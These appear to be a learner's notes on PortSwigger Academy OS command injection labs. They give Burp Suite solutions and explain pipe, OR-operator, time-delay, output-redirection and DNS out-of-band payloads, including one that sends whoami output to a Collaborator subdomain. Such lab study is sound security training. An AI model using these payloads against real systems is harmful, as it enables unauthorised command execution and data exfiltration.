# PortSwigger OS Command Injection Lab Notes

1. Lab: OS command injection, simple case

This lab contains an OS command injection vulnerability in the product stock checker.

The application executes a shell command containing user-supplied product and store IDs, and returns the raw output from the command in its response.

To solve the lab, execute the whoami command to determine the name of the current user.

 Solution

1. Use Burp Suite to intercept and modify a request that checks the stock level.
2. Modify the storeID parameter, giving it the value 1|whoami.
3. Observe that the response contains the name of the current user.

**Why 1|whoami works**

* In most shells (like **bash**), the | character is a **pipe operator**.
* It takes the **output of the first command** and sends it as **input to the second command**.

So when you inject:

1|whoami

The backend command becomes:

stockchecker productID=123 storeID=1|whoami

* The part before the pipe (stockchecker ... storeID=1) runs first.
* Then the pipe runs whoami.
* The result of whoami ends up in the response.

1. Blind OS command injection with time delays

This lab contains a blind OS command injection vulnerability in the feedback function.

The application executes a shell command containing the user-supplied details. The output from the command is not returned in the response.

To solve the lab, exploit the blind OS command injection vulnerability to cause a 10 second delay.

* unlike the simple case, **the output isn’t shown in the response**.
* So you can’t see whoami or anything.

This is called **blind OS command injection**.

 Solution

1. Use Burp Suite to intercept and modify the request that submits feedback.
2. Modify the email parameter, changing it to:

***email=x||ping+-c+10+127.0.0.1||***

1. Observe that the response takes 10 seconds to return.

* x = harmless placeholder.
* || = OR operator in shell → ensures your injected command runs.
* ping -c 10 127.0.0.1 = sends 10 pings to localhost → takes about 10 seconds.
* The server waits to finish, so the HTTP response is delayed.

1. Blind OS command injection with output redirection

This lab contains a blind OS command injection vulnerability in the feedback function.

The application executes a shell command containing the user-supplied details. The output from the command is not returned in the response. However, you can use output redirection to capture the output from the command. There is a writable folder at:

/var/www/images/

The application serves the images for the product catalog from this location. You can redirect the output from the injected command to a file in this folder, and then use the image loading URL to retrieve the contents of the file.

To solve the lab, execute the whoami command and retrieve the output.

🔑 The Situation

* You’ve got a feedback form that runs your input inside a shell command.
* The app doesn’t return command output in the HTTP response → blind injection.
* BUT you’re told:
  + There’s a writable folder: /var/www/images/
  + Product images are served directly from there.

So if you can redirect command output into that folder, you can later fetch it via the browser.

Solution

1. Use Burp Suite to intercept and modify the request that submits feedback.
2. Modify the email parameter, changing it to:

***email=||whoami>/var/www/images/output.txt||***

 || ensures the injected command runs regardless of the first part.

 whoami → reveals the current system user.

 > → redirects output into /var/www/images/output.txt.

1. Now use Burp Suite to intercept and modify the request that loads an image of a product.
2. Modify the filename parameter, changing the value to the name of the file you specified for the output of the injected command:

***filename=output.txt***

🔍 Retrieving the output

* Normally, product images load via:

/image?filename=some.png

* Change filename to your written file:

/image?filename=output.txt

* The server responds with the contents → the user running the app (e.g. www-data, apache).

1. Observe that the response contains the output from the injected command.
2. Blind OS command injection with out-of-band interaction

This lab contains a blind OS command injection vulnerability in the feedback function.

The application executes a shell command containing the user-supplied details. The command is executed asynchronously and has no effect on the application's response. It is not possible to redirect output into a location that you can access. However, you can trigger out-of-band interactions with an external domain.

To solve the lab, exploit the blind OS command injection vulnerability to issue a DNS lookup to Burp Collaborator.

**Note**

To prevent the Academy platform being used to attack third parties, our firewall blocks interactions between the labs and arbitrary external systems. To solve the lab, you must use Burp Collaborator's default public server.

**🔑 The Situation**

* You’ve got a **feedback form**.
* The server takes your input and runs it inside a shell command.
* The output is:
  + Not returned in the HTTP response.
  + Not accessible on disk.
* So → you can’t see command results directly (**blind injection**).

To detect if your command actually executed, you need **side effects**.  
Here, the lab requires using **Burp Collaborator**, which is a service that listens for DNS/HTTP interactions from the vulnerable server.

**⚙️ The Trick – Forcing DNS lookups**

* If you can get the vulnerable server to run:
* nslookup your-collaborator-id.burpcollaborator.net

the server will try to resolve that hostname.

* Burp Collaborator logs this DNS request and shows it to you.
* Even though you can’t see the result in the response, you now know your payload executed.

Solution

1. Use Burp Suite to intercept and modify the request that submits feedback.
2. Modify the email parameter, changing it to:

***email=x||nslookup+x.BURP-COLLABORATOR-SUBDOMAIN||***

1. Right-click and select "Insert Collaborator payload" to insert a Burp Collaborator subdomain where indicated in the modified email parameter.

**Note**

The solution described here is sufficient simply to trigger a DNS lookup and so solve the lab. In a real-world situation, you would use [Burp Collaborator](https://portswigger.net/burp/documentation/desktop/tools/collaborator) to verify that your payload had indeed triggered a DNS lookup. See the lab on [blind OS command injection with out-of-band data exfiltration](https://portswigger.net/web-security/os-command-injection/lab-blind-out-of-band-data-exfiltration) for an example of this.

1. Blind OS command injection with out-of-band data exfiltration

This lab contains a blind OS command injection vulnerability in the feedback function.

The application executes a shell command containing the user-supplied details. The command is executed asynchronously and has no effect on the application's response. It is not possible to redirect output into a location that you can access. However, you can trigger out-of-band interactions with an external domain.

To solve the lab, execute the whoami command and exfiltrate the output via a DNS query to Burp Collaborator. You will need to enter the name of the current user to complete the lab.

**Note**

To prevent the Academy platform being used to attack third parties, our firewall blocks interactions between the labs and arbitrary external systems. To solve the lab, you must use Burp Collaborator's default public server.

 Solution

1. Use Burp Suite Professional to intercept and modify the request that submits feedback.
2. Go to the [Collaborator](https://portswigger.net/burp/documentation/desktop/tools/collaborator) tab.
3. Click "Copy to clipboard" to copy a unique Burp Collaborator payload to your clipboard.
4. Modify the email parameter, changing it to something like the following, but insert your Burp Collaborator subdomain where indicated:

***email=||nslookup+`whoami`.BURP-COLLABORATOR-SUBDOMAIN||***

1. Go back to the Collaborator tab, and click "Poll now". You should see some DNS interactions that were initiated by the application as the result of your payload. If you don't see any interactions listed, wait a few seconds and try again, since the server-side command is executed asynchronously.
2. Observe that the output from your command appears in the subdomain of the interaction, and you can view this within the Collaborator tab. The full domain name that was looked up is shown in the Description tab for the interaction.
3. To complete the lab, enter the name of the current user.

Goal:

Actually exfiltrate the output of a command (e.g., whoami).

Payload:

nslookup `whoami`.BURP-COLLABORATOR-SUBDOMAIN

* The server runs whoami, substitutes the result (e.g., www-data), and makes a DNS query for:
* www-data.BURP-COLLABORATOR-SUBDOMAIN
* You can then see the username directly inside the DNS request in Burp Collaborator.
* To finish the lab, you must enter that username.

👉 This is a data exfiltration lab, not just detection.